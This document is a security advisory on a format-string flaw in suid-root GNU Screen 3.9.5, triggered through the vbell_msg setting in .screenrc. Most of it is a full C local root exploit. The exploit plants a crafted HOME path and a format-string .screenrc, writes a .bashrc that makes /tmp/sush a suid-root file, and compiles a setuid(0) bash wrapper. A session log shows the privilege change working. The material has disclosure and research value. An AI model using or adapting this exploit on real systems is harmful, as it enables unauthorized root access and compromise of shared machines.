COMMAND
Screen
SYSTEMS AFFECTED
Screen 3.9.5
PROBLEM
Paul Starzetz found following. As mentioned in previous advisory,
screen versions <= 3.9.5 which are installed suid root are
vulnerable to a malformed user supplied vbell_msg string attack.
For more info see:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/screen5.html
Paul looked at the source of screen-3.9.5 and found that the
vulnerable call to Msg() moved to another place and that there is
no longer a buffer holding the cwd, from which screen was started.
But again, after a examination of the stack he found, that if
compiled with the 'NETHACK' flag (which seems to be default),
there is still a buffer holding an usable string from environ,
namelly
char nethackrc[MAXPATHLEN];
which holds the value of 'HOME'. So the exploitation can be done
by creating a prepared home dir and putting it into environ. The
buffer nethackrc (which has an offset about 300-600 from the
vulnerable function) is filled only if the environ variable
'NETHACKOPTIONS' is _not_ set, but after we can use our own
environ...
MAXPATHLEN may be too small to reach the original environ strings
from Msg() and the 'vbell_msg' command in .screenrc takes max.
about 2000 characters, so we can 'eat' max. ~ 1000*sizeof(double)
(%g conversion) bytes from the stack frame inside Msg().
Exploiting over the original environ area may be really hard.
Nevertheless it works again on SuSE 6.1 with compiled screen-3.9.5
from sources (maybe some one checks the rpms). On OpenBSD so far
as Paul could check (OpenBSD lemur 2.8 KALM#4 i386) a problem
arises from the low VM addresses, he found an uid offset=0x3d1e4,
which has 0x00 if converted to 4 x unsigned char. But how
construct a C string containg a few '0'. What about overwritting
the RET?
So now the exploit:
paul@phoenix:/usr/home/paul/tmp2/screxp > id
uid=500(paul) gid=100(users) groups=100(users)
paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 0 0 3
...
chown: /tmp/sush: Operation not permitted
paul@phoenix:/usr/home/paul/tmp2/screxp > <ctrl-g> <ctrl-c>
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
chown: /tmp/sush: Operation not permitted
I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id
uid=177 gid=100(users) groups=100(users)
So you can again play with the writeoffset (-1 :-) and gain r00t.
/****************************************************************
* *
* Screen 3.9.5 local exploit *
* by IhaQueR@IRCnet *
* only for demonstrative purposes *
* *
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#include <stdlib.h>
#include <errno.h>
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/home/paul/tmp2/screen-3.9.5/screen"
#define TMPPATH "/tmp/"
/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 48
/* but write only once */
#define WREP 1
/* offset of the nethack-buffer seen from Msg() */
#define BUFOFFSET 592
#define TMPBUFSIZE (BUFOFFSET+1024)
/* addr to be written (may vary)*/
#define WRITEADDR 0x8084e14
/* some addresses grabbed from 3.9.5
S.u.S.E 6.1: 592
&real_uid, &real_gid, &eff_uid, &eff_gid own_uid
0x8084e14 0x80839fc 0x8083950 0x8083954
OpenBSD: 320
&real_uid, &real_gid, &eff_uid, &eff_gid own_uid
0x3d1e4
0x3d1e4
for finding addresses see expl.c, it may be hard...
*/
int main(int argc, char** argv)
{
int i, off=0;
int writeoffs, bufoffset, padding, bfoff;
unsigned a, *p;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+4)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
if(argc != 4) {
printf("USAGE %s <write offset> <bufferoffset> <padding>\n", argv[0]);
return 0;
} else {
printf("Screen 3.9.5 local r00t exploit\n");
printf("by IhaQueR@IRCnet\n\n");
}
/* user supplied offsets */
writeoffs = atoi(argv[1]);
bfoff = atoi(argv[2]);
padding = atoi(argv[3]);
/* create home string */
bzero(adr, (AREP+2)*sizeof(unsigned));
sprintf(adr, "HOME=%s", TMPPATH);
/* pad */
for(i=0; i<padding; i++)
strcat(adr, "P");
p = (unsigned*) (adr + strlen(adr));
a = WRITEADDR + writeoffs;
for(i=0; i<AREP; i++) {
*p = a;
p++;
}
*p = 0;
if(mkdir((char*)(adr+5), 0xfff))
if(errno != EEXIST) {
printf("\nERROR: mkdir()");
return 2;
}
/* PWD=cwd/ourdir\000 + VARNAME= => off + 6 + strlen(VARNAME) */
off += strlen(TMPPATH);
off += bfoff*8;
bufoffset = BUFOFFSET + off;
/* strings for .screenrc and .bashrc */
strcpy(screenrc, adr+5);
strcat(screenrc, "/");
strcat(screenrc, SCREENRC);
strcpy(bashrc, adr+5);
strcat(bashrc, "/");
strcat(bashrc, BASHRC);
/* create vbell string */
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
/* consume stack arguments */
for(i=0; i<bufoffset/8+1; i++)
strcat(buf, "%.0g");
/* finally write to adress */
for(i=0;i<WREP; i++)
strcat(buf, "%x");
/* create screenrc */
printf("building %s\n", SCREENRC);
if(fp = fopen(screenrc, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 3600\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", screenrc);
return 1;
}
/* create bashrc */
printf("creating %s\n", BASHRC);
snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod 4755 /tmp/sush'", bashrc);
system(buf);
/* create suid shell */
printf("compiling suid shell\n");
snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char** av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
system(buf);
system("gcc /tmp/sush.c -o /tmp/sush");
/* set env and call screen */
argv[1] = NULL;
printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush");
putenv(adr);
getchar();
execv(SCREEN, argv);
}
SOLUTION
Nothing yet.